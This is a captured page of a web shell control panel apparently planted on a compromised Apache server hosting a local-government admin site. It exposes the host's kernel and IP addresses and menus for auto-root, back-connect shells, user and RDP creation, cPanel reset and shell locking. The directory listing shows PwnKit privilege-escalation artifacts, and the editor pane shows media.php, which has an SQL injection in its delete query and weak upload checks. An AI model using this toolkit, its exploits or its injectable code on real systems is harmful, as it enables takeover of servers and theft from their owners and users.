Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 18.191.14.62
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
cgpunch /
panchadmin /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
froala_assets
[ DIR ]
drwxr-xr-x
includes
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
Guidline.php
6.5
KB
-rw-r--r--
INFRASTRUCTURE.php
6.5
KB
-rw-r--r--
aadesh.php
6.5
KB
-rw-r--r--
about.php
6.5
KB
-rw-r--r--
ac.php
6.5
KB
-rw-r--r--
act_and_rules.php
6.52
KB
-rw-r--r--
active-editor.php
458
B
-rw-r--r--
add-new-editor.php
3.56
KB
-rw-r--r--
add-news.php
15.78
KB
-rw-r--r--
affiliation-detail.php
6.5
KB
-rw-r--r--
all-added-news.php
4.8
KB
-rw-r--r--
all-drafts-news.php
2.83
KB
-rw-r--r--
bal-suraksha.php
6.52
KB
-rw-r--r--
check-url.php
467
B
-rw-r--r--
check-url2.php
344
B
-rw-r--r--
cityzen_characters.php
6.53
KB
-rw-r--r--
contacts.php
1.98
KB
-rw-r--r--
create-gallery.php
5.13
KB
-rw-r--r--
create-new-menu.php
12.25
KB
-rw-r--r--
curriculum.php
6.5
KB
-rw-r--r--
dashboard.php
159
B
-rw-r--r--
deactive-editor.php
460
B
-rw-r--r--
del-events.php
367
B
-rw-r--r--
del-gal.php
375
B
-rw-r--r--
del-img-from-gal.php
442
B
-rw-r--r--
del-img-lib-img.php
255
B
-rw-r--r--
del-page-lib.php
249
B
-rw-r--r--
del-pdf-lib-img.php
252
B
-rw-r--r--
del-r-draft.php
441
B
-rw-r--r--
del-r-editor.php
435
B
-rw-r--r--
del-r-news.php
720
B
-rw-r--r--
del-vid.php
372
B
-rw-r--r--
delete-draft.php
1.63
KB
-rw-r--r--
delete-editor.php
1.62
KB
-rw-r--r--
delete-menu.php
1.52
KB
-rw-r--r--
delete-news.php
1.62
KB
-rw-r--r--
delete-r-menu.php
349
B
-rw-r--r--
delete_menu_product.php
1.54
KB
-rw-r--r--
edite-menu.php
14.02
KB
-rw-r--r--
edite-page-lib.php
6.7
KB
-rw-r--r--
editors.php
2.24
KB
-rw-r--r--
error_log
2.98
KB
-rw-r--r--
fearured-news.php
455
B
-rw-r--r--
full-screen-menu-view.php
7.4
KB
-rw-r--r--
gallery.sql
1.71
KB
-rw-r--r--
gallery_images.sql
3.33
KB
-rw-r--r--
get-current-menu-name.php
656
B
-rw-r--r--
get-parent-menu.php
1010
B
-rw-r--r--
get-product-menu.php
1.38
KB
-rw-r--r--
gpdp_Guidline.php
6.52
KB
-rw-r--r--
gram_sabha.php
6.51
KB
-rw-r--r--
hamara_karya.php
6.52
KB
-rw-r--r--
image-library.php
4.18
KB
-rw-r--r--
index.php
5.56
KB
-rw-r--r--
karya_kshetra.php
6.52
KB
-rw-r--r--
log-out.php
129
B
-rw-r--r--
manage-images.php
6.22
KB
-rw-r--r--
media.php
6.99
KB
-rw-r--r--
menu.php
10.16
KB
-rw-r--r--
mission_vision.php
6.52
KB
-rw-r--r--
news-published.php
1.5
KB
-rw-r--r--
nigrani.php
6.5
KB
-rw-r--r--
notifications.php
7.03
KB
-rw-r--r--
nutrition.php
6.51
KB
-rw-r--r--
on-the-way.php
2.19
KB
-rw-r--r--
page-library.php
7.52
KB
-rw-r--r--
pdf-library.php
3.73
KB
-rw-r--r--
pesa_niyam.php
6.51
KB
-rw-r--r--
post-events.php
10.3
KB
-rw-r--r--
powers_by_act.php
6.52
KB
-rw-r--r--
publish-news.php
459
B
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
samajik-suraksha.php
6.52
KB
-rw-r--r--
samiti.php
6.5
KB
-rw-r--r--
save-draft.php
1.3
KB
-rw-r--r--
save_menu_product.php
1.93
KB
-rw-r--r--
sdc.php
6.49
KB
-rw-r--r--
siksha.php
6.5
KB
-rw-r--r--
suchana_ka_adhikar.php
6.53
KB
-rw-r--r--
swasthya.php
6.51
KB
-rw-r--r--
training_modules.php
6.53
KB
-rw-r--r--
unfearured-news.php
454
B
-rw-r--r--
unpublish-news.php
461
B
-rw-r--r--
update-draft.php
16.06
KB
-rw-r--r--
update-editor.php
4.66
KB
-rw-r--r--
update-news.php
13.14
KB
-rw-r--r--
upload_image_for_editor.php
1.24
KB
-rw-r--r--
video.php
3.11
KB
-rw-r--r--
watar-sanitation.php
6.53
KB
-rw-r--r--
yojana.php
6.5
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : media.php
<?php include "includes/res.php"; $page_name = " media "; include "includes/header.php"; ?> <div class="container"> <div class="card"> <div class="card-body"> <h3><?php echo $page_name; ?></h3> <hr /> <?php if( isset( $_GET["id"] ) ){ $id = $_GET["id"]; $sql66 = "DELETE FROM cloud WHERE id = $id and uploaded_by = 'Admin' "; if( $connection->query($sql66) == true ){ ?> <script type="text/javascript"> swal('success',' deleted successfully! ','success'); </script> <?php } } if( $_SERVER["REQUEST_METHOD"] == "POST" ){ $filename = $_FILES["img1"]["name"]; $typearr = explode('.', $filename); $type_c = end($typearr); if( $type_c == "pdf" ){ // upload pdf and save $allowedExts = array("pdf"); $tmp55 = explode(".", $_FILES["img1"]["name"]); /////========== $extension = end($tmp55); if ($_FILES["img1"]["type"] == "application/pdf" && in_array($extension, $allowedExts)) { ///////========== if ($_FILES["img1"]["error"] > 0) { //////============ echo "Error: " . $_FILES["img1"]["error"] . "<br />"; ///////======== exit(0); } else { /// check mime $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $_FILES['img1']['tmp_name']); if( $mime != 'application/pdf' ) { echo "Only Pdfs are allowed!"; exit(0); } //// ///// $img1 = $_FILES["img1"]["name"]; $img1 = rand(1,888).$img1; $tmp_name = $_FILES["img1"]["tmp_name"]; move_uploaded_file($tmp_name, "../uploads/".$img1); ////storage //// } } else { echo "Invalid pdf type"; exit(0); } }else{ //upload and save image $allowedExts = array("jpg", "jpeg", "gif", "png"); $tmp55 = explode(".", $_FILES["img1"]["name"]); /////========== $extension = end($tmp55); if ($_FILES["img1"]["type"] == "image/gif" || $_FILES["img1"]["type"] == "image/jpg" || $_FILES["img1"]["type"] == "image/jpeg" || $_FILES["img1"]["type"] == "image/png" && in_array($extension, $allowedExts)) { ///////========== if ($_FILES["img1"]["error"] > 0) { //////============ echo "Error: " . $_FILES["img1"]["error"] . "<br />"; ///////======== exit(0); } else { /// check mime $verifyimg = getimagesize($_FILES['img1']['tmp_name']); ///////========= if( $verifyimg['mime'] != 'image/png' && $verifyimg['mime'] != 'image/jpg' && $verifyimg['mime'] != 'image/jpeg' && $verifyimg['mime'] != 'image/gif' ) { echo "Only images are allowed!"; exit(0); } //// //check using getimg1size $img1_info = getimagesize($_FILES['img1']['tmp_name']); ///////========== if($img1_info == false) { echo "Not a valid image!"; exit(0); } /// ///// $img1 = $_FILES["img1"]["name"]; $img1 = rand(1,888).$img1; $tmp_name = $_FILES["img1"]["tmp_name"]; move_uploaded_file($tmp_name, "../uploads/".$img1); ////storage //// } } else { echo "Invalid image type"; exit(0); } } $file_name_org = $_POST["file_name"]; $file_name_org = addslashes($file_name_org); $file_name_org = htmlspecialchars($file_name_org); $sql00 = "INSERT INTO cloud(uploaded_by,file_name,designation,file_name_org)VALUES('Admin','$img1','Admin','$file_name_org')"; if( $connection->query($sql00) == true ){ ?> <script type="text/javascript"> swal('success','file uploaded!','success'); </script> <?php } } ?> <form method="post" action="" enctype="multipart/form-data"> <b>File anme</b> <input type="text" name="file_name" class="form-control" required="" /> <b>Upload pdf/image file</b> <input type="file" name="img1" class="form-control" required="" /> <input type="submit" name="" value="Upload" class="btn btn-primary" /> </form> </div> </div> </div> <div class="card"> <div class="card-body"> <div class="card-header pb-0"> <div class="d-flex justify-content-between"> <h4 class="card-title mg-b-0 mt-2">Uploaded files</h4> <i class="mdi mdi-dots-horizontal text-gray"></i> </div> </div> <div class="card-body"> <div class="table-responsive"> <table class="table text-md-nowrap" id="example1"> <thead> <tr> <th>File name</th> <th>url</th> <th>Delete</th> </tr> </thead> <tbody> <?php $sql9 = "SELECT *FROM cloud WHERE uploaded_by = 'Admin' ORDER BY id DESC"; $rows9 = $connection->query($sql9); while( $res9 = $rows9->fetch_assoc()){ $id = $res9["id"]; ?> <tr> <td> <?php echo $res9["file_name_org"]; ?> </td> <td> http://yourdomain.com/uploads/<?php echo $res9["file_name"]; ?> </td> <td> <a href="media.php?id=<?php echo $res9["id"]; ?>" class="btn btn-danger">Delete</a> </td> </tr> <?php } ?> </tbody> </table> </div> </div> </div> </div> <?php include "includes/footer.php"; ?>
Close